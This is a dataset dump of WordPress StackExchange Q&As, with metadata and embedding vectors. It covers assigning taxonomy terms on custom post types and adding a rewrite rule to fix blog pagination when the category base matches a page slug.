}
}
why not work?
A: As stated in the wp_set_post_terms Comment:
This function will only work on the native post type. For a taxonomy on a custom post type use wp_set_object_terms()
wp_set_object_terms
|
wordpress
|
{
"language": "en",
"length": 105,
"provenance": "stackexchange_00019.jsonl.gz:437237",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114576"
}
|
[
0.0233001708984375,
-0.004638671875,
-0.0277557373046875,
-0.031585693359375,
0.0197296142578125,
-0.02484130859375,
0.0350341796875,
-0.014923095703125,
-0.0123443603515625,
0.0078887939453125,
-0.0308990478515625,
-0.0227508544921875,
-0.0260772705078125,
-0.037811279296875,
-0.005336761474609375,
-0.04937744140625,
0.031707763671875,
-0.0257720947265625,
0.039794921875,
0.0018405914306640625,
0.01340484619140625,
0.0245361328125,
0.033782958984375,
-0.052001953125,
0.019378662109375,
-0.01465606689453125,
0.004779815673828125,
-0.0178680419921875,
-0.004680633544921875,
-0.01593017578125,
0.0289154052734375,
0.021697998046875,
0.0285491943359375,
0.007049560546875,
-0.04400634765625,
0.004146575927734375,
0.01953125,
-0.01041412353515625,
-0.0192108154296875,
0.050506591796875,
0.01329803466796875,
-0.001323699951171875,
0.0014619827270507812,
0.0213165283203125,
0.00968170166015625,
-0.0841064453125,
0.04473876953125,
-0.0518798828125,
0.0151519775390625,
-0.045440673828125,
0.013275146484375,
-0.0296783447265625,
0.03363037109375,
-0.054595947265625,
-0.03350830078125,
-0.0250701904296875,
-0.039886474609375,
0.005336761474609375,
0.028900146484375,
0.007740020751953125,
-0.028961181640625,
-0.0265655517578125,
0.0174560546875,
-0.030242919921875,
0.02349853515625,
0.004154205322265625,
-0.002414703369140625,
0.024658203125,
-0.070556640625,
0.02020263671875,
0.05169677734375,
-0.06561279296875,
0.005344390869140625,
0.013671875,
-0.00868988037109375,
-0.0897216796875,
0.056060791015625,
-0.048431396484375,
-0.0215911865234375,
0.03778076171875,
0.005397796630859375,
-0.0126800537109375,
-0.0289306640625,
0.02178955078125,
-0.004180908203125,
0.044891357421875,
-0.01485443115234375,
-0.0208587646484375,
-0.026824951171875,
-0.05316162109375,
-0.0183868408203125,
-0.017486572265625,
-0.06646728515625,
-0.0262603759765625,
0.01313018798828125,
-0.053802490234375,
0.0252685546875,
0.07574462890625,
-0.035400390625,
0.0072479248046875,
-0.004810333251953125,
-0.04901123046875,
0.060821533203125,
-0.056121826171875,
0.021728515625,
0.01141357421875,
-0.02618408203125,
-0.0333251953125,
0.05181884765625,
0.0284423828125,
0.0010204315185546875,
0.00830078125,
0.0029087066650390625,
-0.0107574462890625,
-0.01548004150390625,
-0.003631591796875,
-0.025360107421875,
0.0203094482421875,
0.005771636962890625,
-0.00521087646484375,
0.00212860107421875,
0.033447265625,
0.0015230178833007812,
-0.00421142578125,
0.005680084228515625,
0.0202178955078125,
-0.00165557861328125,
-0.048797607421875,
0.01806640625,
0.0206146240234375,
-0.04669189453125,
-0.0129852294921875,
0.08563232421875,
0.045013427734375,
0.031341552734375,
-0.0269622802734375,
0.0311279296875,
0.0012407302856445312,
-0.026702880859375,
0.0127716064453125,
0.0181427001953125,
-0.007396697998046875,
0.01218414306640625,
0.0035648345947265625,
0.00969696044921875,
0.016082763671875,
0.01346588134765625,
0.02093505859375,
0.01470947265625,
-0.033660888671875,
0.02777099609375,
-0.00995635986328125,
0.06353759765625,
0.02349853515625,
-0.043060302734375,
-0.00435638427734375,
0.04974365234375,
-0.042388916015625,
-0.037628173828125,
-0.07476806640625,
0.01580810546875,
-0.007152557373046875,
0.0135498046875,
0.011383056640625,
-0.0256500244140625,
0.03619384765625,
-0.039215087890625,
-0.01148223876953125,
0.0164642333984375,
0.04595947265625,
0.006374359130859375,
0.02392578125,
-0.0199737548828125,
-0.0096435546875,
-0.0157012939453125,
-0.033294677734375,
-0.01047515869140625,
0.016082763671875,
0.0243072509765625,
-0.0110015869140625,
-0.011871337890625,
-0.03741455078125,
0.05572509765625,
-0.018646240234375,
-0.031158447265625,
0.007843017578125,
0.00433349609375,
0.023590087890625,
0.0258026123046875,
0.01543426513671875,
0.032958984375,
0.0026760101318359375,
-0.0543212890625,
0.0259857177734375,
0.05181884765625,
0.007343292236328125,
-0.068359375,
-0.021575927734375,
0.005214691162109375,
-0.02587890625,
-0.019317626953125,
-0.0029964447021484375,
-0.0004069805145263672,
0.0194244384765625,
-0.061126708984375,
0.01424407958984375,
-0.034576416015625,
0.039154052734375,
-0.005466461181640625,
0.0024261474609375,
0.0292205810546875,
-0.01348114013671875,
-0.0270843505859375,
-0.0268096923828125,
-0.032379150390625,
-0.003246307373046875,
0.00023281574249267578,
0.035614013671875,
0.004810333251953125,
0.00974273681640625,
0.02008056640625,
-0.044403076171875,
0.0226898193359375,
0.0345458984375,
0.0311126708984375,
0.0275115966796875,
-0.0217742919921875,
0.0130462646484375,
0.03790283203125,
0.04571533203125,
-0.0238037109375,
-0.02691650390625,
0.016448974609375,
-0.00907135009765625,
-0.03338623046875,
0.01155853271484375,
0.0231781005859375,
-0.037872314453125,
-0.006862640380859375,
0.04730224609375,
0.016357421875,
0.0234832763671875,
-0.01480865478515625,
0.0167236328125,
0.07342529296875,
0.023223876953125,
0.011444091796875,
-0.0158843994140625,
-0.00794219970703125,
0.02703857421875,
0.01488494873046875,
0.03277587890625,
0.02001953125,
-0.00597381591796875,
0.0178985595703125,
0.041717529296875,
-0.055877685546875,
-0.0257110595703125,
0.032318115234375,
-0.017974853515625,
0.004573822021484375,
-0.07073974609375,
-0.005924224853515625,
-0.040802001953125,
0.06573486328125,
0.033477783203125,
0.035430908203125,
0.01525115966796875,
-0.055023193359375,
0.034698486328125,
0.006656646728515625,
-0.0328369140625,
0.0016489028930664062,
0.02325439453125,
0.0247039794921875,
0.0032825469970703125,
-0.052093505859375,
0.00616455078125,
0.0312347412109375,
0.007465362548828125,
0.0014505386352539062,
0.05096435546875,
0.0136871337890625,
-0.0184173583984375,
-0.01023101806640625,
-0.058563232421875,
-0.01508331298828125,
0.0027141571044921875,
-0.032989501953125,
-0.0469970703125,
0.003963470458984375,
0.011688232421875,
-0.0261993408203125,
0.0177154541015625,
-0.0166168212890625,
-0.0195159912109375,
0.01006317138671875,
-0.056640625,
0.049163818359375,
-0.057403564453125,
0.0276947021484375,
0.046600341796875,
-0.01172637939453125,
0.015899658203125,
0.0198516845703125,
-0.006130218505859375,
0.00405120849609375,
0.031463623046875,
0.01490020751953125,
-0.0251007080078125,
-0.01251220703125,
-0.0013637542724609375,
0.01227569580078125,
0.0190887451171875,
0.02587890625,
-0.0187225341796875,
0.018280029296875,
0.01282501220703125,
-0.0093994140625,
-0.0235748291015625,
0.0665283203125,
-0.0118865966796875,
-0.0299835205078125,
-0.0238800048828125,
-0.0207366943359375,
-0.01456451416015625,
-0.023529052734375,
-0.0283660888671875,
0.004039764404296875,
-0.03662109375,
-0.033966064453125,
-0.04254150390625,
-0.0411376953125,
-0.03955078125,
0.0040740966796875,
-0.0209808349609375,
0.013336181640625,
0.04388427734375,
0.01654052734375,
-0.0330810546875,
0.0252838134765625,
0.057159423828125,
-0.022125244140625,
0.0182952880859375,
0.0048370361328125,
-0.00897216796875,
0.0180206298828125,
-0.012420654296875,
0.02886962890625,
0.03631591796875,
-0.038421630859375,
-0.01262664794921875,
0.004169464111328125,
0.035186767578125,
0.0253448486328125,
-0.020721435546875,
-0.005672454833984375,
0.035552978515625,
0.006046295166015625,
-0.0194549560546875,
0.01190948486328125,
0.0013408660888671875,
0.00975799560546875,
0.048980712890625,
-0.031982421875,
-0.0198974609375,
0.007205963134765625,
0.038330078125,
-0.0206146240234375,
0.00009274482727050781,
0.01039886474609375,
-0.0255889892578125,
-0.01502227783203125,
-0.003688812255859375,
-0.0217742919921875,
0.0133056640625,
-0.012603759765625,
-0.01248931884765625,
0.027679443359375,
-0.009033203125,
0.0243682861328125,
-0.0192108154296875,
0.04119873046875,
-0.05694580078125,
-0.07159423828125,
0.0288848876953125,
-0.05938720703125,
0.00788116455078125,
-0.0653076171875,
-0.01293182373046875,
-0.0152435302734375,
0.08233642578125,
-0.035400390625,
-0.023040771484375,
-0.017822265625,
0.0120849609375,
-0.0153350830078125,
-0.03302001953125,
-0.0105743408203125,
-0.017486572265625,
-0.05157470703125,
-0.00789642333984375,
0.004497528076171875,
-0.031463623046875,
-0.022186279296875,
0.059539794921875,
-0.056793212890625,
-0.01387786865234375,
0.04736328125,
-0.032012939453125,
0.0323486328125,
0.015655517578125,
0.01190185546875,
-0.009979248046875,
-0.0281524658203125,
-0.0160675048828125,
-0.088134765625,
-0.0205841064453125,
0.035675048828125,
0.00901031494140625,
-0.051666259765625,
-0.0014667510986328125,
-0.030609130859375,
0.0218048095703125,
0.028411865234375,
0.01751708984375,
0.0012607574462890625,
-0.005077362060546875,
-0.0026721954345703125,
-0.00637054443359375,
0.01319122314453125,
-0.01288604736328125,
-0.0138702392578125,
-0.00731658935546875,
-0.01216888427734375,
0.06201171875,
-0.0177764892578125,
0.02496337890625,
-0.003162384033203125,
-0.0162200927734375,
-0.0296630859375,
-0.0168304443359375,
-0.0311431884765625,
0.0126495361328125,
-0.021759033203125,
0.0005698204040527344,
-0.03125,
-0.031494140625,
0.053253173828125,
-0.028167724609375,
-0.00569915771484375,
0.00673675537109375,
0.09503173828125,
0.00933837890625,
-0.0131378173828125,
-0.04583740234375,
0.0266265869140625,
0.024505615234375,
0.01548004150390625,
-0.0231170654296875,
-0.052886962890625,
-0.0213470458984375,
0.0267791748046875,
-0.025970458984375,
0.004100799560546875,
-0.005390167236328125,
0.023284912109375,
0.00875091552734375,
-0.0165863037109375,
0.0206451416015625,
-0.01100921630859375,
0.020538330078125,
-0.033599853515625,
-0.02447509765625,
-0.023529052734375,
0.01126861572265625,
0.041107177734375,
-0.0227203369140625,
0.0648193359375,
-0.0226287841796875,
-0.043853759765625,
0.02569580078125,
-0.0176544189453125,
0.00021839141845703125,
0.0159454345703125,
-0.00005739927291870117,
0.007427215576171875,
-0.041961669921875,
0.0153961181640625,
0.025421142578125,
0.0460205078125,
0.00836944580078125,
0.0108795166015625,
0.07965087890625,
0.01351165771484375,
-0.039306640625,
-0.003925323486328125,
0.061798095703125,
0.0014591217041015625,
-0.045928955078125,
-0.007171630859375,
-0.006809234619140625,
0.032623291015625,
0.0225067138671875,
0.004245758056640625,
0.046600341796875,
0.027801513671875,
-0.00627899169921875,
-0.010498046875,
-0.0258331298828125,
0.00977325439453125,
-0.042938232421875,
-0.01016998291015625,
0.0396728515625,
-0.025421142578125,
0.01078033447265625,
0.0411376953125,
0.028472900390625,
0.020233154296875,
-0.032623291015625,
0.0227508544921875,
-0.0037631988525390625,
0.060577392578125,
0.040802001953125,
-0.056060791015625,
-0.0069427490234375,
0.026947021484375,
-0.0283355712890625,
-0.06170654296875,
-0.04443359375,
-0.0082244873046875,
0.06103515625,
-0.05133056640625,
-0.0211029052734375,
0.05987548828125,
0.00402069091796875,
-0.0188751220703125,
-0.01238250732421875,
-0.0176544189453125,
-0.0213165283203125,
-0.0078277587890625,
0.02398681640625,
0.022857666015625,
0.003337860107421875,
-0.002590179443359375,
0.0328369140625,
-0.0257568359375,
0.033294677734375,
-0.024505615234375,
0.0341796875,
-0.039825439453125,
-0.041107177734375,
-0.0723876953125,
-0.01174163818359375,
0.01154327392578125,
0.0022869110107421875,
-0.0208892822265625,
0.003856658935546875,
-0.052276611328125,
-0.0062713623046875,
-0.032135009765625,
0.03955078125,
-0.031036376953125,
0.013092041015625,
0.0157318115234375,
0.006755828857421875,
0.0224609375,
0.0164337158203125,
-0.02294921875,
-0.01503753662109375,
-0.0244140625,
-0.00836181640625,
0.003635406494140625,
-0.042327880859375,
-0.003353118896484375,
-0.007778167724609375,
0.02587890625,
0.0285186767578125,
0.006336212158203125,
-0.03375244140625,
-0.01349639892578125,
0.00031280517578125,
0.0227813720703125,
0.036224365234375,
-0.00670623779296875,
0.05865478515625,
-0.017578125,
0.0458984375,
-0.01387786865234375,
-0.002765655517578125,
-0.0282135009765625,
-0.004001617431640625,
-0.0355224609375,
-0.0894775390625,
0.017486572265625,
0.0295562744140625,
-0.02081298828125,
0.06787109375,
0.04296875,
0.0212860107421875,
0.01953125,
-0.02362060546875,
0.00463104248046875,
-0.019805908203125,
0.0034961700439453125,
0.00020492076873779297,
0.00775909423828125,
0.017608642578125,
-0.046539306640625,
0.0180206298828125,
0.0297698974609375,
0.0060882568359375,
0.02349853515625,
-0.03594970703125,
0.030181884765625,
0.040740966796875,
0.018707275390625,
-0.021575927734375,
0.01364898681640625,
0.0276947021484375,
0.04986572265625,
0.0007653236389160156,
0.05035400390625,
0.0016841888427734375,
0.005733489990234375,
-0.06494140625,
-0.062347412109375,
0.00431060791015625,
0.0025882720947265625,
-0.0147857666015625,
0.00830841064453125,
-0.012847900390625,
-0.01953125,
0.0406494140625,
0.0390625,
-0.050567626953125,
-0.0257110595703125,
-0.005741119384765625,
-0.01177215576171875,
0.01263427734375,
0.01371002197265625,
0.0008707046508789062,
0.0254364013671875,
-0.0101318359375,
-0.0269622802734375,
-0.021209716796875,
0.024658203125,
0.01375579833984375,
-0.02264404296875,
-0.01386260986328125,
-0.004302978515625,
0.032470703125,
0.005100250244140625,
0.01346588134765625,
0.024505615234375,
-0.015045166015625,
-0.0017042160034179688,
0.00693511962890625,
-0.008026123046875,
-0.0203094482421875,
-0.05218505859375,
0.02667236328125,
-0.035675048828125,
0.0072021484375,
0.028656005859375,
0.00605010986328125,
0.0259246826171875,
0.020660400390625,
0.0186767578125,
-0.025787353515625,
0.003108978271484375,
-0.047698974609375,
-0.0244140625,
-0.004795074462890625,
0.021881103515625,
0.040313720703125,
-0.055908203125,
0.0302276611328125,
-0.04052734375,
0.0011463165283203125,
-0.0191192626953125,
-0.04425048828125,
0.0706787109375,
-0.05908203125,
0.007312774658203125,
-0.008636474609375,
0.03778076171875,
0.031158447265625,
0.013275146484375,
-0.004558563232421875,
-0.024200439453125,
0.004283905029296875,
0.0099945068359375,
-0.0156097412109375,
-0.0199432373046875,
0.0101776123046875,
-0.0965576171875,
0.1524658203125,
-0.0303955078125,
0.05462646484375,
0.0003647804260253906,
0.055511474609375,
-0.0223846435546875,
0.0193939208984375,
-0.0377197265625,
0.05303955078125,
-0.0269622802734375,
0.03448486328125,
-0.048187255859375,
0.007171630859375,
0.0010404586791992188,
0.007442474365234375,
0.036041259765625,
0.0007734298706054688,
-0.00971221923828125,
-0.023956298828125,
0.0249786376953125,
0.0255279541015625,
-0.00844573974609375,
0.0191497802734375,
-0.00846099853515625,
0.0059051513671875,
0.016448974609375,
-0.031585693359375,
0.024383544921875,
-0.0074462890625,
-0.0133209228515625,
0.0183258056640625,
-0.00942230224609375,
-0.0142974853515625,
-0.0212249755859375,
0.0267181396484375,
-0.03839111328125,
-0.0168304443359375,
0.028289794921875,
-0.019073486328125,
0.01290130615234375,
-0.0022735595703125,
0.01395416259765625,
-0.03143310546875,
0.0178375244140625,
-0.021697998046875,
0.038848876953125,
0.004825592041015625,
0.03009033203125,
0.029052734375,
0.0218048095703125,
0.071533203125,
-0.0120849609375,
0.0195770263671875,
0.006404876708984375,
-0.002521514892578125,
0.022491455078125,
0.01251220703125,
0.01557159423828125,
-0.016571044921875,
0.035430908203125,
0.00732421875,
0.01560211181640625,
-0.040191650390625,
-0.03826904296875,
0.01129150390625,
0.00946044921875,
-0.012786865234375,
0.01300048828125,
0.01090240478515625,
0.03759765625,
0.05877685546875,
-0.03790283203125,
0.014892578125,
-0.00897216796875,
0.034423828125,
-0.0157623291015625,
0.0207977294921875,
-0.06988525390625,
0.0004742145538330078,
-0.040008544921875,
0.0069580078125,
0.0149078369140625,
0.06732177734375,
-0.0011749267578125,
0.0762939453125,
-0.055084228515625,
-0.028533935546875,
0.020263671875,
0.025665283203125,
0.0002294778823852539,
-0.0338134765625,
0.0068511962890625,
-0.04888916015625,
0.01593017578125,
0.00799560546875,
0.01447296142578125,
0.027984619140625,
0.039642333984375,
0.04754638671875,
0.006435394287109375,
-0.0079498291015625,
0.0594482421875,
-0.01482391357421875,
-0.04644775390625,
-0.0246734619140625,
0.0021514892578125,
0.04449462890625,
0.00571441650390625,
0.0113525390625,
0.00965118408203125,
0.04534912109375,
-0.0220184326171875,
0.034027099609375,
0.004878997802734375,
-0.05035400390625,
0.0272369384765625,
0.0180816650390625,
0.09918212890625,
0.0281524658203125,
-0.07098388671875,
0.0034427642822265625,
-0.07696533203125,
-0.07122802734375,
0.039642333984375,
0.04461669921875,
0.004398345947265625,
-0.0048980712890625,
0.0234527587890625,
-0.02984619140625,
0.042144775390625,
0.0247039794921875,
-0.0084075927734375,
0.0030536651611328125,
0.0240325927734375,
-0.017791748046875,
0.021575927734375,
0.0203857421875,
0.03216552734375,
0.0248565673828125,
-0.00563812255859375,
0.0679931640625,
-0.034576416015625,
0.01335906982421875,
-0.051300048828125,
0.042449951171875,
-0.07696533203125,
-0.027740478515625,
0.0202178955078125,
0.00044465065002441406,
0.0039520263671875,
-0.0002560615539550781,
-0.03619384765625,
-0.0068359375,
0.033782958984375,
-0.01611328125,
0.01238250732421875,
-0.04931640625,
0.0266876220703125,
-0.017303466796875,
0.054473876953125,
-0.029449462890625,
0.009552001953125,
-0.05377197265625,
-0.05914306640625,
0.051025390625,
0.01030731201171875,
0.02801513671875,
0.040985107421875,
-0.004337310791015625,
-0.0350341796875,
0.036376953125,
-0.06976318359375,
0.0239105224609375,
0.03253173828125,
0.0218353271484375,
0.0006403923034667969,
0.053680419921875,
-0.0060577392578125,
0.0035762786865234375,
0.034393310546875,
0.00653076171875,
0.032867431640625,
-0.05810546875,
0.0108489990234375,
0.0169525146484375,
0.0203399658203125,
-0.033172607421875,
0.0059356689453125,
0.044464111328125,
-0.0240936279296875,
0.0252227783203125,
0.01544189453125,
-0.0191497802734375,
-0.0210113525390625,
-0.01080322265625,
0.01537322998046875,
-0.00739288330078125,
-0.01519012451171875,
-0.0380859375,
0.0245819091796875,
0.03125,
-0.010009765625,
-0.01441192626953125,
0.0195159912109375,
-0.03924560546875,
0.020843505859375,
0.0117034912109375,
-0.0498046875,
0.0288848876953125,
0.048980712890625,
-0.007354736328125,
0.028594970703125,
-0.031768798828125,
-0.04473876953125,
-0.0251922607421875,
0.01454925537109375,
0.027679443359375,
-0.029876708984375,
-0.06622314453125,
0.007671356201171875,
0.023284912109375,
0.02703857421875,
0.06671142578125,
-0.032470703125,
-0.00728607177734375,
-0.005199432373046875,
-0.014892578125,
-0.039703369140625,
0.03533935546875,
-0.093017578125,
-0.04278564453125,
-0.042572021484375,
0.0184783935546875,
0.022186279296875,
-0.0452880859375,
-0.0943603515625,
0.005817413330078125,
-0.017669677734375,
-0.04132080078125,
-0.057220458984375,
-0.044769287109375,
-0.00727081298828125,
0.052947998046875,
-0.00963592529296875,
-0.034210205078125,
-0.048919677734375,
0.051971435546875,
-0.004199981689453125,
0.056610107421875,
0.007785797119140625,
0.01416778564453125,
0.0244598388671875,
0.0204010009765625,
0.005268096923828125,
-0.030487060546875,
0.0166015625,
-0.03192138671875,
0.036834716796875,
0.01387786865234375,
-0.037994384765625,
0.0026264190673828125,
0.013397216796875,
0.0082550048828125,
-0.00214385986328125,
-0.0361328125,
-0.03436279296875,
-0.01885986328125,
0.0908203125,
-0.0013914108276367188,
0.0195159912109375,
-0.002162933349609375,
-0.037445068359375,
0.003833770751953125,
-0.037353515625,
-0.00464630126953125,
0.0277099609375,
-0.0633544921875,
-0.007305145263671875,
-0.0065155029296875,
0.01178741455078125,
-0.00859832763671875,
-0.017059326171875,
-0.0124969482421875,
-0.01424407958984375,
0.0139923095703125,
0.0033931732177734375,
-0.028472900390625,
0.01152801513671875,
-0.0107574462890625,
-0.01459503173828125,
-0.0484619140625,
-0.00803375244140625,
0.01113128662109375,
-0.043548583984375,
-0.0157623291015625,
0.004970550537109375,
-0.017608642578125,
-0.00003790855407714844,
-0.0025539398193359375,
0.0076446533203125,
0.005191802978515625,
0.01157379150390625,
-0.010650634765625,
-0.0096282958984375,
0.02105712890625,
-0.01849365234375,
0.0008831024169921875,
0.01080322265625,
0.0628662109375,
0.002910614013671875,
0.10015869140625,
-0.01160430908203125,
-0.015655517578125,
-0.0234527587890625,
0.0101165771484375,
-0.01153564453125,
0.0014448165893554688,
0.0271148681640625,
0.0029354095458984375,
0.00762939453125,
-0.0162506103515625,
-0.00812530517578125,
-0.0143890380859375,
0.006198883056640625,
0.00626373291015625,
-0.0253753662109375,
0.0150299072265625
] |
197ff5d8f6dab6f667de8b35b40573e01962e7f0
|
Wordpress Stackexchange
Q: Permalink/Pagination issue: Category base name same as page name I currently have a page called "Blog" (slug "blog"), which loads a index.php. All posts in index.php belong to only one post category. A sidebar on index.php contains category links (via wp_list_categories) which load archive.php for that given taxonomy.
The problem I am running into is that I currently have the category base name set to the same slug as the page: "blog". I am aware that this can cause issues with the rewrite rules, but for the most part everything looks fine. The only issue is with pagination pages for index.php (mysite.com/blog/page/2 does not work while mysite.com/blog/foo-category/page/2 works fine).
Is there a rewrite rule that can help with my current situation? And if so some help would be appreciated.
If this is a bad idea, please speak up as well. I was hoping to achieve a somewhat RESTful url structure, but wordpresses permalink structure doesn't appear to be the most flexible.
Thanks
A: This is untested, but should work for you. Visit the permalinks settings page to flush rewrite rules after adding:
function wpa_fix_blog_pagination(){
add_rewrite_rule(
'blog/page/([0-9]+)/?$',
'index.php?pagename=blog&paged=$matches[1]',
'top'
);
}
add_action( 'init', 'wpa_fix_blog_pagination' );
|
Q: Permalink/Pagination issue: Category base name same as page name I currently have a page called "Blog" (slug "blog"), which loads a index.php. All posts in index.php belong to only one post category. A sidebar on index.php contains category links (via wp_list_categories) which load archive.php for that given taxonomy.
The problem I am running into is that I currently have the category base name set to the same slug as the page: "blog". I am aware that this can cause issues with the rewrite rules, but for the most part everything looks fine. The only issue is with pagination pages for index.php (mysite.com/blog/page/2 does not work while mysite.com/blog/foo-category/page/2 works fine).
Is there a rewrite rule that can help with my current situation? And if so some help would be appreciated.
If this is a bad idea, please speak up as well. I was hoping to achieve a somewhat RESTful url structure, but wordpresses permalink structure doesn't appear to be the most flexible.
Thanks
A: This is untested, but should work for you. Visit the permalinks settings page to flush rewrite rules after adding:
function wpa_fix_blog_pagination(){
add_rewrite_rule(
'blog/page/([0-9]+)/?$',
'index.php?pagename=blog&paged=$matches[1]',
'top'
);
}
add_action( 'init', 'wpa_fix_blog_pagination' );
|
wordpress
|
{
"language": "en",
"length": 195,
"provenance": "stackexchange_00019.jsonl.gz:437244",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114606"
}
|
[
0.04656982421875,
-0.0113067626953125,
0.0027008056640625,
-0.040557861328125,
-0.00365447998046875,
-0.0283660888671875,
0.037078857421875,
0.0021839141845703125,
-0.00994110107421875,
-0.017822265625,
-0.0255584716796875,
-0.005458831787109375,
0.0078277587890625,
-0.035675048828125,
0.058380126953125,
-0.0135345458984375,
0.017791748046875,
-0.00013184547424316406,
0.030029296875,
-0.0058746337890625,
-0.004436492919921875,
-0.005443572998046875,
0.03826904296875,
-0.01139068603515625,
0.0150146484375,
-0.022003173828125,
0.06109619140625,
-0.0367431640625,
0.0094757080078125,
-0.045684814453125,
0.01776123046875,
0.01084136962890625,
0.038909912109375,
-0.0290069580078125,
-0.004302978515625,
-0.01318359375,
0.0021038055419921875,
-0.0147247314453125,
-0.0311126708984375,
0.03411865234375,
0.0238037109375,
-0.0260467529296875,
0.033538818359375,
0.013427734375,
0.01502227783203125,
-0.031707763671875,
0.007297515869140625,
-0.06329345703125,
-0.009735107421875,
0.003978729248046875,
0.01296234130859375,
0.05718994140625,
0.01293182373046875,
0.0178985595703125,
0.01177215576171875,
0.0248260498046875,
0.019683837890625,
-0.02239990234375,
0.01122283935546875,
-0.031890869140625,
-0.02252197265625,
0.005466461181640625,
0.0270843505859375,
0.0271148681640625,
-0.0188140869140625,
0.003795623779296875,
0.00325775146484375,
0.0301971435546875,
-0.01392364501953125,
-0.0287933349609375,
-0.006069183349609375,
-0.021636962890625,
-0.019195556640625,
0.0100860595703125,
-0.0233001708984375,
-0.0260162353515625,
0.01183319091796875,
-0.0136260986328125,
0.008026123046875,
0.026580810546875,
0.00012177228927612305,
-0.0225372314453125,
-0.01303863525390625,
-0.004238128662109375,
0.028289794921875,
0.0308990478515625,
-0.0019855499267578125,
-0.01058197021484375,
-0.03594970703125,
-0.0197906494140625,
-0.01021575927734375,
-0.0443115234375,
-0.052093505859375,
0.00024318695068359375,
0.0203857421875,
-0.033660888671875,
0.019134521484375,
0.06048583984375,
-0.00966644287109375,
0.01910400390625,
0.0130615234375,
-0.039794921875,
0.0408935546875,
-0.046356201171875,
0.0171661376953125,
0.031707763671875,
0.025665283203125,
0.072021484375,
0.0732421875,
0.0016965866088867188,
0.00412750244140625,
0.07257080078125,
-0.0037937164306640625,
-0.010528564453125,
-0.020721435546875,
0.007904052734375,
-0.0347900390625,
0.005168914794921875,
-0.0090484619140625,
-0.0008058547973632812,
-0.0229339599609375,
0.0228424072265625,
-0.0062713623046875,
0.005245208740234375,
0.0225067138671875,
0.0177001953125,
0.034515380859375,
-0.0380859375,
0.04144287109375,
0.0248565673828125,
-0.021453857421875,
0.00786590576171875,
-0.0003204345703125,
-0.03192138671875,
-0.0164337158203125,
-0.0198516845703125,
0.035919189453125,
-0.034637451171875,
-0.040191650390625,
0.0355224609375,
-0.0227813720703125,
-0.00772857666015625,
0.012115478515625,
-0.032440185546875,
0.04937744140625,
0.0232391357421875,
0.02593994140625,
0.031585693359375,
-0.0009570121765136719,
0.0198211669921875,
0.011932373046875,
-0.0225067138671875,
0.06719970703125,
0.006011962890625,
-0.05206298828125,
-0.040679931640625,
0.0083160400390625,
-0.032562255859375,
-0.037872314453125,
-0.068359375,
0.034881591796875,
-0.0002124309539794922,
0.0258331298828125,
-0.043670654296875,
-0.07159423828125,
-0.01537322998046875,
-0.0662841796875,
-0.038055419921875,
0.018341064453125,
-0.0254974365234375,
-0.0011835098266601562,
0.007110595703125,
-0.00794219970703125,
0.0283203125,
0.0249786376953125,
0.02496337890625,
-0.004589080810546875,
0.01490020751953125,
-0.00330352783203125,
0.049163818359375,
0.0170135498046875,
-0.030303955078125,
-0.00498199462890625,
0.0031280517578125,
-0.053009033203125,
0.05023193359375,
0.0167236328125,
0.0732421875,
-0.032379150390625,
0.0148162841796875,
0.043182373046875,
0.03179931640625,
-0.043853759765625,
0.0035953521728515625,
0.00628662109375,
-0.0135955810546875,
0.016021728515625,
-0.007144927978515625,
0.0034389495849609375,
-0.001361846923828125,
-0.017425537109375,
0.019012451171875,
-0.0260009765625,
0.04400634765625,
-0.0025482177734375,
0.027557373046875,
-0.0040283203125,
0.0203399658203125,
-0.00350189208984375,
0.048187255859375,
0.015350341796875,
0.0251007080078125,
-0.0191650390625,
-0.03778076171875,
0.0026035308837890625,
0.0247802734375,
0.0009984970092773438,
-0.024169921875,
-0.01629638671875,
0.0027980804443359375,
-0.01300811767578125,
-0.0059356689453125,
-0.042144775390625,
0.0379638671875,
0.039031982421875,
-0.020965576171875,
-0.03155517578125,
-0.048095703125,
-0.039337158203125,
-0.0020751953125,
-0.103271484375,
0.0889892578125,
0.023590087890625,
0.0377197265625,
-0.029541015625,
0.002727508544921875,
0.0113677978515625,
0.00945281982421875,
0.00762939453125,
0.019775390625,
0.0242462158203125,
-0.01678466796875,
-0.033905029296875,
-0.0290069580078125,
-0.00493621826171875,
-0.061309814453125,
-0.0010318756103515625,
-0.01291656494140625,
-0.0257415771484375,
0.041778564453125,
0.0200042724609375,
0.01837158203125,
-0.0052032470703125,
-0.028900146484375,
-0.0255279541015625,
0.03070068359375,
0.0272369384765625,
0.0015239715576171875,
-0.03558349609375,
0.03814697265625,
0.012359619140625,
-0.006343841552734375,
-0.040679931640625,
0.008453369140625,
0.03955078125,
0.012176513671875,
0.033721923828125,
0.0166473388671875,
-0.020294189453125,
0.00439453125,
-0.0013551712036132812,
-0.01222991943359375,
-0.0148162841796875,
0.0258026123046875,
0.05426025390625,
-0.019073486328125,
-0.0357666015625,
0.0116119384765625,
0.003269195556640625,
0.007778167724609375,
-0.0082244873046875,
0.0665283203125,
-0.0072479248046875,
-0.009674072265625,
-0.042724609375,
-0.044586181640625,
-0.0198822021484375,
-0.005954742431640625,
-0.024566650390625,
-0.0032062530517578125,
0.00732421875,
0.0253753662109375,
-0.01451873779296875,
-0.0088653564453125,
0.014434814453125,
-0.00652313232421875,
0.033935546875,
-0.041534423828125,
0.04840087890625,
-0.056243896484375,
0.0097503662109375,
0.0369873046875,
-0.0191650390625,
-0.0109100341796875,
0.01430511474609375,
-0.036529541015625,
0.00710296630859375,
0.0163726806640625,
-0.0030612945556640625,
-0.0162506103515625,
-0.01361083984375,
0.05078125,
0.0162200927734375,
0.0280303955078125,
0.0232696533203125,
-0.021881103515625,
0.03253173828125,
0.036224365234375,
-0.040740966796875,
-0.06964111328125,
0.00887298583984375,
-0.0643310546875,
0.0231475830078125,
0.0260009765625,
-0.0269317626953125,
-0.046539306640625,
0.075927734375,
0.01425933837890625,
0.0207366943359375,
-0.025054931640625,
-0.10400390625,
-0.0706787109375,
-0.1158447265625,
-0.00809478759765625,
-0.016815185546875,
0.0161285400390625,
-0.00238037109375,
0.04595947265625,
0.0077056884765625,
-0.053955078125,
0.003978729248046875,
0.01506805419921875,
-0.0089111328125,
-0.0009946823120117188,
-0.038238525390625,
0.00395965576171875,
0.0021266937255859375,
-0.00780487060546875,
0.0465087890625,
0.0141754150390625,
-0.007171630859375,
0.0214691162109375,
0.0005688667297363281,
-0.026092529296875,
0.01261138916015625,
0.030731201171875,
